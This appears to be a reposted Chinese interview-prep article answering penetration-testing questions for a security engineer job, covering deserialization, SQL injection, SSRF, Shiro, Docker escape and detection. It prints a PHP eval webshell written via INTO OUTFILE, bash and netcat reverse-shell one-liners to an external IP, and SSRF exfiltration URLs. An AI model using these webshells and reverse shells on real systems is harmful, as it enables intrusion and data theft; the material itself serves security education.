2025年渗透测试面试题总结-某 携程旅游-基础安全工程师(题目+回答)

news2025/4/7 20:58:08

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 携程旅游-基础安全工程师

反序列化原理

核心原理

扩展分析

SQL注入本质

核心原理

扩展分析

SQL注入写马流程

核心步骤

扩展分析

Outfile与Dumpfile的区别

宽字节截断原理

核心逻辑

扩展分析

SSRF的利用和防御

利用方式

防御方案

SSRF无回显如何利用

Shiro利用失败分析

文件上传防御

SQLMap原理与XSS扫描器对比

SQLMap核心逻辑

XSS扫描器原理

反弹Shell检测与原理

检测手段

反弹Shell原理

Agent信息采集与进程树构建

采集信息类型

进程树构建方法

提权检测

Docker逃逸原理

隧道本质

甲方代码审计与红队漏洞挖掘差异

漏扫与入侵检测的权衡

IAST主动与被动的区别

 携程旅游-基础安全工程师

反序列化原理
sql注入本质
sql注入写马流程
outfile与dumpfile的区别 -前者支持多行和自定义编码
宽字节截断原理
SSRF的利用和防御
SSRF无回显如何利用
shiro利用失败,如何分析
文件上传如何防御
sqlmap原理,如何分析
文件上传如何防御
sqlmap原理,常规xss扫描器原理
反弹shell如何检测
反弹shell的原理
作为一个agent 需要采集哪些信息,如何构建进程树
提权如何检测
docker逃逸原理
隧道本质是什么
甲方的代码审计与红队漏洞挖掘有哪些差异
如何权衡各种漏扫或入侵检测的漏报和误报
IAST主动与被动的区别

助用户理解并应对面试。

反序列化原理

核心原理
  1. 序列化与反序列化的定义
    序列化是将对象状态转换为可存储或传输格式(如JSON、XML、二进制流)的过程,反序列化是其逆向操作。其本质是通过特定协议将内存中的对象结构映射为字节流,便于跨平台传输或持久化存储。

  2. 漏洞触发机制
    反序列化漏洞的根源在于:当程序反序列化不可信数据时,若未严格校验数据合法性,攻击者可能通过构造恶意序列化数据触发非预期的对象创建、方法调用或代码执行。例如,Java中通过ObjectInputStream反序列化时,可能触发readObject()方法中的危险逻辑。

  3. 典型攻击场景

    • 利用链构造:攻击者通过组合目标类库中的多个类(如Apache Commons Collections的Transformer链),形成从反序列化入口到危险操作(如Runtime.exec() )的完整利用链。
    • 动态类加载:某些框架(如XStream)允许通过序列化数据指定加载远程类文件,导致远程代码执行(RCE)。
扩展分析
  • 防御措施
    • 白名单验证:限制反序列化的类范围(如Java的ObjectInputFilter)。
    • 签名校验:对序列化数据添加数字签名,防止篡改。
    • 禁用危险功能:如关闭Java的JNDI远程类加载功能。
  • 工具与检测
    • 使用ysoserial生成攻击载荷,通过流量分析或代码审计识别漏洞点。
    • 安全框架如SerialKiller可拦截恶意反序列化行为。

SQL注入本质

核心原理
  1. 输入作为代码执行
    SQL注入的本质是将用户输入拼接到SQL语句中,导致输入数据被解析为SQL代码。例如,' OR 1=1 -- 闭合原查询条件,使查询逻辑失效。

  2. 漏洞分类

    • 联合查询注入:通过UNION合并恶意查询。
    • 布尔盲注:通过页面响应差异逐位推断数据。
    • 时间盲注:利用SLEEP()等函数触发延迟判断。
  3. 攻击影响
    可导致数据泄露、篡改、权限提升,甚至通过xp_cmdshell执行系统命令。

扩展分析
  • 防御方案
    • 预编译(参数化查询):将输入作为参数而非语句的一部分(如Java的PreparedStatement)。
    • 输入过滤:过滤敏感字符(如'";),但需注意转义规则与编码问题。
    • 最小权限原则:数据库账户仅分配必要权限,禁用危险函数。
  • 自动化检测
    • 动态扫描:通过sqlmap等工具自动化探测注入点。
    • 静态分析:使用Semgrep检查代码中的字符串拼接逻辑。

SQL注入写马流程

核心步骤
  1. 路径与权限获取

    • 通过@@secure_file_priv查看MySQL导出路径限制。
    • 确保数据库用户具备FILE权限,且目标目录可写。
  2. 文件写入
    使用SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/shell.php' 将WebShell写入Web目录。

  3. 访问与利用
    通过HTTP请求访问WebShell,传递参数执行命令。

扩展分析
  • 限制条件
    • MySQL需启用--secure-file-priv的非严格模式。
    • 绝对路径需通过报错或枚举获取(如load_file()读取配置文件)。
  • 防御手段
    • 禁用FILE权限,限制数据库账户操作范围。
    • 对Web目录设置不可执行权限。

Outfile与Dumpfile的区别

  1. 功能差异
    • OUTFILE:支持多行数据导出,可指定字段终止符(如FIELDS TERMINATED BY ',')和编码格式。
    • DUMPFILE:仅导出单行数据,适用于二进制文件(如图片、可执行文件)。
  2. 使用场景
    • 导出文本OUTFILE适用于CSV、日志等结构化文本。
    • 导出二进制DUMPFILE用于导出BLOB字段或二进制内容。
  3. 安全限制
    两者均需FILE权限,且受@@secure_file_priv路径限制。

宽字节截断原理

核心逻辑
  1. 编码漏洞成因
    当数据库使用GBK等宽字节编码时,若转义逻辑不当(如PHP的addslashes()),'被转义为\'(即%5C%27)。攻击者输入%bf%27,数据库将%bf%5c解析为繁体字“縗”,导致%27')未被转义,从而闭合字符串。

  2. 利用场景
    常用于绕过转义函数,构造SQL注入或文件上传漏洞(如截断文件名a.php%bf.jpg )。

扩展分析
  • 防御方案
    • 统一使用UTF-8编码,避免宽字节问题。
    • 使用mysql_real_escape_string()而非addslashes()

SSRF的利用和防御

利用方式
  1. 内网服务探测
    • 访问http://127.0.0.1:8080探测本地服务。
    • 利用AWS元数据接口http://169.254.169.254获取云服务器敏感信息。
  2. 协议滥用
    • File协议:读取本地文件(file:///etc/passwd)。
    • Dict协议:探测端口信息(dict://127.0.0.1:6379/info)。
  3. 远程代码执行
    结合内网应用的RCE漏洞(如Redis未授权访问)实现攻击链。
防御方案
  • 输入校验
    • 禁止内网IP和特殊协议(如file://)。
    • 使用域名白名单限制访问范围。
  • 网络层防护
    • 配置防火墙规则,限制应用服务器出站流量。
    • 使用代理服务隔离请求来源。

SSRF无回显如何利用

  1. DNS带外(OOB)
    构造URL如http://dnslog.cn/record?q=payload ,通过DNS查询日志获取数据。
  2. 延迟检测
    通过响应时间差异判断端口开放状态(如访问开放的Redis端口会立即返回错误)。
  3. 外部服务交互
    利用HTTP服务记录请求参数(如https://requestbin.com/?data=secret )。

Shiro利用失败分析

  1. 密钥不匹配
    Shiro的RememberMe功能依赖AES加密,若目标修改默认密钥(kPH+bIxk5D2deZiIxcaaaA==),则无法解密Cookie。
  2. 依赖库缺失
    利用链需特定类库(如Commons Beanutils),若目标环境未包含则攻击失败。
  3. 防御措施生效
    • 开启Shiro的secureRandom增强密钥强度。
    • 使用WAF拦截恶意请求头。

文件上传防御

  1. 文件类型校验
    • 检查MIME类型、文件头(如FFD8FF对应JPEG)。
    • 禁止上传可执行文件(如.php.jsp)。
  2. 存储隔离
    • 文件重命名(如UUID),避免路径遍历。
    • 存储到非Web目录,通过代理服务访问静态资源。
  3. 服务端加固
    • 设置文件大小限制,禁用危险函数(如putenv())。
    • 使用沙箱环境处理上传文件。

SQLMap原理与XSS扫描器对比

SQLMap核心逻辑
  1. 启发式探测
    通过报错信息(如You have an error in your SQL syntax)判断注入点类型。
  2. Payload生成
    针对不同数据库(MySQL、MSSQL)构造联合查询、布尔逻辑等载荷。
  3. 结果提取
    利用UNION查询、时间盲注逐位提取数据。
XSS扫描器原理
  1. 模糊测试(Fuzzing)
    插入<script>alert(1)</script>等测试向量,检测是否原样输出。
  2. DOM分析
    解析JavaScript代码,检测document.location 等敏感源。
  3. 自动化验证
    通过浏览器引擎(如Headless Chrome)模拟点击,检测弹窗行为。

反弹Shell检测与原理

检测手段
  1. 网络流量分析
    • 监控非常规端口的出站连接(如/bin/bash连接外部IP的4444端口)。
    • 识别Shell特征(如sh -i/dev/tcp)。
  2. 进程监控
    • 检测子进程链(如sshd -> bash -> nc)。
    • 使用auditd记录敏感系统调用(execve)。
反弹Shell原理
  1. 反向连接
    受害主机主动连接攻击者控制的IP和端口,绕过防火墙限制。
  2. 常用命令
    • Bashbash -i >& /dev/tcp/1.1.1.1/4444 0>&1
    • Netcatnc -e /bin/sh 1.1.1.1 4444

Agent信息采集与进程树构建

采集信息类型
  1. 系统基础信息
    • 操作系统版本、内核参数、环境变量。
    • 用户列表、计划任务、服务配置。
  2. 运行时数据
    • 进程列表(PID、PPID、命令行参数)。
    • 网络连接(端口、协议、状态)。
  3. 安全相关数据
    • 文件完整性校验(如Tripwire)。
    • 日志文件(syslog、auth.log )。
进程树构建方法
  1. 遍历/proc目录
    解析/proc/[PID]/stat获取父进程ID(PPID),递归生成树状结构。
  2. 工具辅助
    使用pstreehtop可视化展示进程关系。

提权检测

  1. 内核漏洞检测
    使用uname -a获取内核版本,匹配已知漏洞(如DirtyCow)。
  2. SUID/SGID文件检查
    查找具有SUID权限的可执行文件(find / -perm -4000)。
  3. sudo配置审计
    检查/etc/sudoers中用户权限是否过度分配。

Docker逃逸原理

  1. 特权模式滥用
    使用--privileged启动容器,攻击者可通过挂载宿主机目录(/)逃逸。
  2. 漏洞利用
    利用CVE-2019-5736(runc漏洞)覆盖宿主机二进制文件。
  3. 配置错误
    挂载Docker Socket(/var/run/docker.sock )允许容器内控制宿主机Docker服务。

隧道本质

  1. 协议封装
    将原始流量封装在合法协议(如HTTP、DNS)中,绕过防火墙检测。
  2. 流量转发
    使用工具(如frpngrok)建立加密通道,将内网服务暴露至公网。

甲方代码审计与红队漏洞挖掘差异

  1. 目标差异
    • 甲方:聚焦SDL(安全开发生命周期),修复潜在风险(如硬编码密钥)。
    • 红队:寻找可利用漏洞(如RCE、SSRF),模拟真实攻击路径。
  2. 方法论
    • 甲方:结合SAST/DAST工具,覆盖全量代码。
    • 红队:针对性手工测试,利用0day和逻辑漏洞。
  3. 输出结果
    • 甲方:生成漏洞报告并推动修复,关注合规性(如GDPR)。
    • 红队:提供攻击路径报告,协助优化防御体系。

漏扫与入侵检测的权衡

  1. 误报处理
    • 优化规则库:通过误报样本调整正则表达式阈值。
    • 人工验证:对高风险告警手动确认。
  2. 漏报应对
    • 威胁情报整合:基于最新攻击模式更新检测规则。
    • 多层防御:结合网络层、主机层、应用层防护。
  3. 业务适配
    • 根据业务重要性调整检测灵敏度(如金融系统偏向减少漏报)。

IAST主动与被动的区别

  1. 主动式(Instrumentation)
    • 原理:在应用中插入探针,实时监控运行时的数据流和漏洞。
    • 优点:覆盖率高,可检测上下文相关漏洞(如业务逻辑错误)。
    • 缺点:性能损耗大,需适配不同语言框架。
  2. 被动式(流量分析)
    • 原理:通过代理或镜像流量分析请求/响应,识别漏洞模式。
    • 优点:无侵入性,支持多语言应用。
    • 缺点:无法检测未触发代码路径的漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2330057.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

niuhe插件, 在 go 中渲染网页内容

思路 niuhe 插件生成的 go 代码是基于 github.com/ma-guo/niuhe 库进行组织管理的, niuhe 库 是对 go gin 库的一个封装&#xff0c;因此要显示网页, 可通过给 gin.Engine 指定 HTMLRender 来实现。 实现 HTMLRender 我们使用 gitee.com/cnmade/pongo2gin 实现 1. main.go …

使用MySQL时出现 Ignoring query to other database 错误

Ignoring query to other database 错误 当在远程连接软件中输入MySQL命令出现该错误 导致错误原因是&#xff1a;登录mysql时账户名没有加上u 如果出现该错误&#xff0c;退出mysql&#xff0c;重新输入正确格式进入即可&#xff01;

java后端开发day34--脑子空空如何无痛想起所有知识点--概念拟人化

1.上半部学习思考 1.1反思–浮躁–二倍速 刚开始算半个小白吧&#xff0c;从最基础的知识点开始学习&#xff0c;到后面学习整个项目的布局和功能。可能是后面慢慢懂得多了&#xff0c;每次打代码搞项目啊什么的&#xff0c;就能明显感觉到自己很浮躁&#xff1a;脑子里已经明…

fastGPT—前端开发获取api密钥调用机器人对话接口(HTML实现)

官网文档链接&#xff1a;OpenAPI 介绍 | FastGPT 首先按照文档说明创建api密钥 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-sca…

解决 PDF 难题:批量处理、文档清理与自由拆分合并

软件介绍 在日常办公与学习中&#xff0c;处理 PDF 文件常常让人头疼不已&#xff0c;不过别担心&#xff0c;今天有一款堪称神器的国产老牌 PDF 工具要分享给大家。它就是 PDF 补丁丁&#xff0c;凭借其强大功能&#xff0c;为大家排忧解难。 界面体验 初次打开 PDF 补丁丁&…

使用pycharm社区版调试DIFY后端python代码

目录 背景 前置条件 DIFY使用的框架 API服务调试配置步骤&#xff08;基于tag为0.15.3的版本&#xff09; 1.配置.env文件 2.关闭docker里面的docker-api-1服务 3.使用DOCKER启动本地环境需要用到的中间件&#xff0c;并暴露端口 注意事项一&#xff1a; 注意事项二&#xff1a…

量子计算与人工智能的结合:未来科技的双重革命

引言 在过去几十年里&#xff0c;人工智能&#xff08;AI&#xff09;和计算能力的提升一直是推动科技进步的重要力量。然而&#xff0c;随着深度学习和大规模数据处理的发展&#xff0c;传统计算架构的算力瓶颈逐渐显现&#xff0c;人工智能的训练和推理效率受到了限制。在此背…

关于存储的笔记

存储简介 名称适用场景常见运用网络环境备注块存储高性能、低延迟数据库局域网专业文件存储数据共享共享文件夹、非结构化数据局域网通用对象存储大数据、云存储网盘、网络媒体公网&#xff08;断点续传、去重&#xff09;海量 存储协议 名称协议块存储FC-SAN或IP-SAN承载的…

JWT认证服务

JSON Web Token&#xff08;JWT&#xff09;是一种用于在网络应用间安全地传递信息的紧凑、自包含的方式。以下是关于 JWT 认证服务器更详细的介绍&#xff0c;包括其意义、作用、工作原理、组成部分、时效性相关内容、搭建条件以及代码案例。 JWT 的意义与作用 意义&#xf…

手机中的type-C是如何防水的呢?

防水类型的type-C座子&#xff1a; 电子产品防水等级的区分&#xff1a; 这里的“IP”是国际防护标准等级&#xff1b;简而言之&#xff0c;IPXX中“XX”两位数字分别代表防尘和防水等级&#xff0c;其中防尘等级从0&#xff5e;6&#xff0c;防水等级则从0&#xff5e;8。 第…

[Redis]Redis学习开篇概述

欢迎来到啾啾的博客&#x1f431;。 这是一个致力于构建完善 Java 程序员知识体系的博客&#x1f4da;。 它记录学习点滴&#xff0c;分享工作思考和实用技巧&#xff0c;偶尔也分享一些杂谈&#x1f4ac;。 欢迎评论交流&#xff0c;感谢您的阅读&#x1f604;。 引言 大家好…

WordPress浮动广告插件+飘动效果客服插件

源码介绍 WordPress浮动广告插件飘动效果客服插件 将源码上传到wordpress的插件根目录下&#xff0c;解压&#xff0c;然后后台启用即可 截图 源码免费获取 WordPress浮动广告插件飘动效果客服插件

Java基础关键_034_网络编程

目 录 一、概述 二、网络编程三要素 1.IP 地址 2.端口号 3.通信协议 &#xff08;1&#xff09;说明 &#xff08;2&#xff09;OSI 七层参考模型 &#xff08;3&#xff09;TCP/IP 四层参考模型 三、网络编程基础类 1.InetAddress 2.URL &#xff08;1&#xff09…

Ubuntu交叉编译器工具链安装

声明 本博客所记录的关于正点原子i.MX6ULL开发板的学习笔记&#xff0c;&#xff08;内容参照正点原子I.MX6U嵌入式linux驱动开发指南&#xff0c;可在正点原子官方获取正点原子Linux开发板 — 正点原子资料下载中心 1.0.0 文档&#xff09;&#xff0c;旨在如实记录我在学校学…

基于Python的招聘推荐数据可视化分析系统

【Python】基于Python的招聘推荐数据可视化分析系统&#xff08;完整系统源码开发笔记详细部署教程&#xff09;✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 &#x1f680;&#x1f31f; 基于Python的招聘推荐数据可视化分析系统&#xff01;&#x1…

光谱相机在工业中的应用

光谱相机&#xff08;多光谱、高光谱、超光谱成像技术&#xff09;在工业领域通过捕捉物质的光谱特征&#xff08;反射、透射、辐射等&#xff09;&#xff0c;结合化学计量学与人工智能算法&#xff0c;为工业检测、质量控制和工艺优化提供高精度、非接触式的解决方案。以下是…

使用PyQt5绘制水波浪形的柱状显示流量—学习QTimer+QPainterPath

前言&#xff1a;进入学习Python开发上位机界面的第二阶段&#xff0c;学习如何开发自定义控件&#xff0c;从常用的控件入手学习&#xff0c;本期主要学习如何使用PyQt5绘制水波浪形的柱状显示流量。但是最后我放弃了&#xff0c;因为水波的效果达不到我想要的。 1. 明确想要…

C++蓝桥杯实训篇(二)

片头 嗨咯~小伙伴们&#xff01;今天我们来一起学习算法和贪心思维&#xff0c;准备好了吗&#xff1f;咱们开始咯&#xff01; 第1题 数位排序 对于这道题&#xff0c;我们需要自己写一个排序算法&#xff0c;也就是自定义排序&#xff0c;按照数位从小到大进行排序。 举一…

无人驾驶是自动化还是智能化?

这是一个由小米Su-7和人形机器人问题引起的思考&#xff1a;努力决定了下限&#xff0c;认知决定了上限。 一、无人驾驶既涉及自动化&#xff0c;也涉及智能化&#xff0c;这两者在无人驾驶系统中应该是相互融合、相辅相成的1、自动化&#xff08;Automation&#xff09; 自动化…

实操(不可重入函数、volatile、SIGCHLD、线程)Linux

1 不可重入函数 为什么会导致节点丢失内存泄露&#xff1f;main函数在执行insert&#xff0c;但是没执行完就被信号中断了&#xff0c;又进了这个函数里&#xff0c;所以这个insert函数在不同的执行流中&#xff0c;同一个函数被重复进入&#xff0c;如果没有问题&#xff0c;…